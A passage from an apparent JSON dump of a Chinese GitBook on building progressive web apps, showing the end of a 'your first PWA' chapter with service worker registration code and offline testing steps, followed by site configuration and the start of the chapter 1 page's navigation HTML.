&#x7684;&#x6CE8;&#x518C;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD;&#x9996;&#x5C4F;&#x901F;&#x5EA6;\n    window.addEventListener(&apos;load&apos;, function () {\n      // &#x6CE8;&#x518C; Service Worker\n      navigator.serviceWorker.register(&apos;/sw.js&apos;).then(function (registration) {\n        // &#x6CE8;&#x518C;&#x6210;&#x529F;\n        console.log(&apos;ServiceWorker registration successful with scope: &apos;, registration.scope)\n      }).catch(function (err) {\n        // &#x6CE8;&#x518C;&#x5931;&#x8D25; :(\n        console.warn(&apos;ServiceWorker registration failed: &apos;, err)\n      })\n    })\n  }\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x7B2C;&#x4E09;&#x6B65;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x6253;&#x5F00;&#x7535;&#x8111;&#x4E0A;&#x7684; Chrome &#x6765;&#x9A8C;&#x8BC1;&#x662F;&#x5426;&#x6CE8;&#x518C;&#x6210;&#x529F;&#xFF0C;&#x5E76;&#x4E14;&#x662F;&#x5426;&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#x3002;</p>\n<p>&#x901A;&#x8FC7; Chrome &#x8BBF;&#x95EE; <code>http://127.0.0.1:8088</code> &#x6253;&#x5F00;&#x6211;&#x4EEC;&#x7684;&#x7B2C;&#x4E00;&#x4E2A; PWA&#xFF0C;\b&#x5E76;&#x4E14;&#x6253;&#x5F00;&#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#xFF0C;&#x70B9;&#x51FB; <code>Application</code> \b&#x83DC;&#x5355;&#x680F;&#xFF0C;&#x518D;&#x70B9;&#x51FB;&#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#x5DE6;&#x8FB9;&#x7684; Service Worker &#x9009;&#x9879;&#xFF0C;&#x4F1A;&#x770B;&#x5230;\b <code>sw.js</code> &#x7684;&#x6CE8;&#x518C;&#x4FE1;&#x606F;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/sw_register_success.png\" alt=\"&#x6210;&#x529F;&#x6CE8;&#x518C; Service Worker\"></p>\n<p>&#x90A3;&#x4E48;&#xFF0C;&#x6211;&#x4EEC;&#x68C0;&#x67E5;&#x4E00;&#x4E0B;&#x662F;&#x5426;&#x771F;&#x7684;&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#xFF0C;&#x52FE;&#x9009;&#x4E0A;&#x56FE;&#x4E2D;&#x7684; <code>Offline</code> &#x590D;&#x9009;&#x6846;&#xFF0C;&#x8BA9; Chrome &#x5728;&#x8FD9;&#x4E2A;&#x6807;&#x7B7E;&#x9875;&#x4E0B;&#x4FDD;&#x6301;&#x65AD;&#x7F51;&#x72B6;&#x6001;&#x3002;</p>\n<p><img src=\"img/offline.png\" alt=\"&#x52FE;&#x9009; Offline &#x590D;&#x9009;&#x6846;\"></p>\n<p>\b&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x5237;&#x65B0;&#x9875;&#x9762;&#xFF0C;&#x60A8;&#x4F1A;&#x53D1;&#x73B0;&#x9875;&#x9762;&#x4F9D;&#x7136;&#x80FD;&#x6B63;&#x5E38;&#x6E32;&#x67D3;&#xFF0C;&#x8FD9;&#x5C31;&#x662F; PWA &#x7684;&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#xFF0C;&#x53EF;&#x4EE5;&#x5229;&#x7528; Service Worker &#x505A;&#x5F88;&#x591A;&#x4E8B;&#x60C5;&#xFF0C;&#x7F13;&#x5B58;&#x9875;&#x9762;\b&#x6846;&#x67B6;&#x548C;&#x9AA8;&#x67B6;&#x5C4F;&#xFF0C;&#x63D0;&#x5347;&#x9875;&#x9762;&#x9996;&#x5C4F;&#x901F;&#x5EA6;&#xFF0C;&#x751A;&#x81F3;&#x53EF;&#x4EE5;&#x7F13;&#x5B58;&#x90E8;&#x5206;&#x6570;&#x636E;&#x3002;Service Worker &#x5C06;&#x5728;&#x672C;&#x4E66;&#x7684;&#x540E;&#x7EED;&#x7AE0;&#x8282;&#x4F1A;&#x91CD;&#x70B9;&#x8BB2;&#x8FF0;&#x3002;</p>\n<h2 id=\"&#x603B;&#x7ED3;\"><a name=\"&#x603B;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x603B;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x603B;&#x7ED3;</h2>\n<p>&#x4EE5;&#x4E0A;&#x5C31;&#x662F;&#x60A8;&#x7684;&#x7B2C;&#x4E00;&#x4E2A; PWA&#xFF0C;&#x9EBB;&#x96C0;&#x867D;&#x5C0F;&#xFF0C;&#x4E94;&#x810F;&#x4FF1;&#x5168;&#xFF0C;&#x80FD;&#x88AB;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#xFF0C;&#x80FD;&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#xFF0C;\b&#x77ED;&#x77ED;&#x7684;&#x51E0;&#x884C;&#x4EE3;&#x7801;&#x5C31;&#x5728;&#x539F;&#x7AD9;&#x70B9;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#x5B9E;&#x73B0;&#x4E86;&#x8FD9;&#x4E24;&#x4E2A;&#x529F;&#x80FD;&#xFF0C;&#x5E76;&#x4E14;&#x6CA1;&#x6709;&#x4FB5;&#x5165;&#x6027;&#xFF0C;&#x4EE3;&#x4EF7;&#x4E5F;&#x5F88;&#x5C0F;&#xFF0C;&#x5B83;&#x786E;&#x5B9E;&#x5949;&#x884C;&#x6E10;&#x8FDB;&#x5F0F;&#x7684;&#x539F;&#x5219;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"5-the-future-of-pwa.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 1.5 PWA 的未来\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter02.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第2章 设计与体验\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"1.6 你的第一个 PWA\",\"level\":\"1.2.6\",\"depth\":2,\"next\":{\"title\":\"第2章 设计与体验\",\"level\":\"1.3\",\"depth\":1,\"path\":\"chapter02.md\",\"ref\":\"chapter02.md\",\"articles\":[{\"title\":\"2.1 什么是好的用户体验\",\"level\":\"1.3.1\",\"depth\":2,\"path\":\"chapter02/1-what-is-good-ux.md\",\"ref\":\"chapter02/1-what-is-good-ux.md\",\"articles\":[]},{\"title\":\"2.2 设计与技术\",\"level\":\"1.3.2\",\"depth\":2,\"path\":\"chapter02/2-design-and-tech.md\",\"ref\":\"chapter02/2-design-and-tech.md\",\"articles\":[]},{\"title\":\"2.3 App Shell\",\"level\":\"1.3.3\",\"depth\":2,\"path\":\"chapter02/3-app-shell.md\",\"ref\":\"chapter02/3-app-shell.md\",\"articles\":[]},{\"title\":\"2.4 骨架屏\",\"level\":\"1.3.4\",\"depth\":2,\"path\":\"chapter02/4-app-skeleton.md\",\"ref\":\"chapter02/4-app-skeleton.md\",\"articles\":[]},{\"title\":\"2.5 响应式布局\",\"level\":\"1.3.5\",\"depth\":2,\"path\":\"chapter02/5-responsive-design.md\",\"ref\":\"chapter02/5-responsive-design.md\",\"articles\":[]}]},\"previous\":{\"title\":\"1.5 PWA 的未来\",\"level\":\"1.2.5\",\"depth\":2,\"path\":\"chapter01/5-the-future-of-pwa.md\",\"ref\":\"chapter01/5-the-future-of-pwa.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter01/6-your-first-pwa.md\",\"mtime\":\"2019-06-19T10:37:41.917Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter01.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第1章 PWA 介绍 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter01/1-how-was-pwa-born.html\" />\n    \n    \n    <link rel=\"prev\" href=\"./\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a 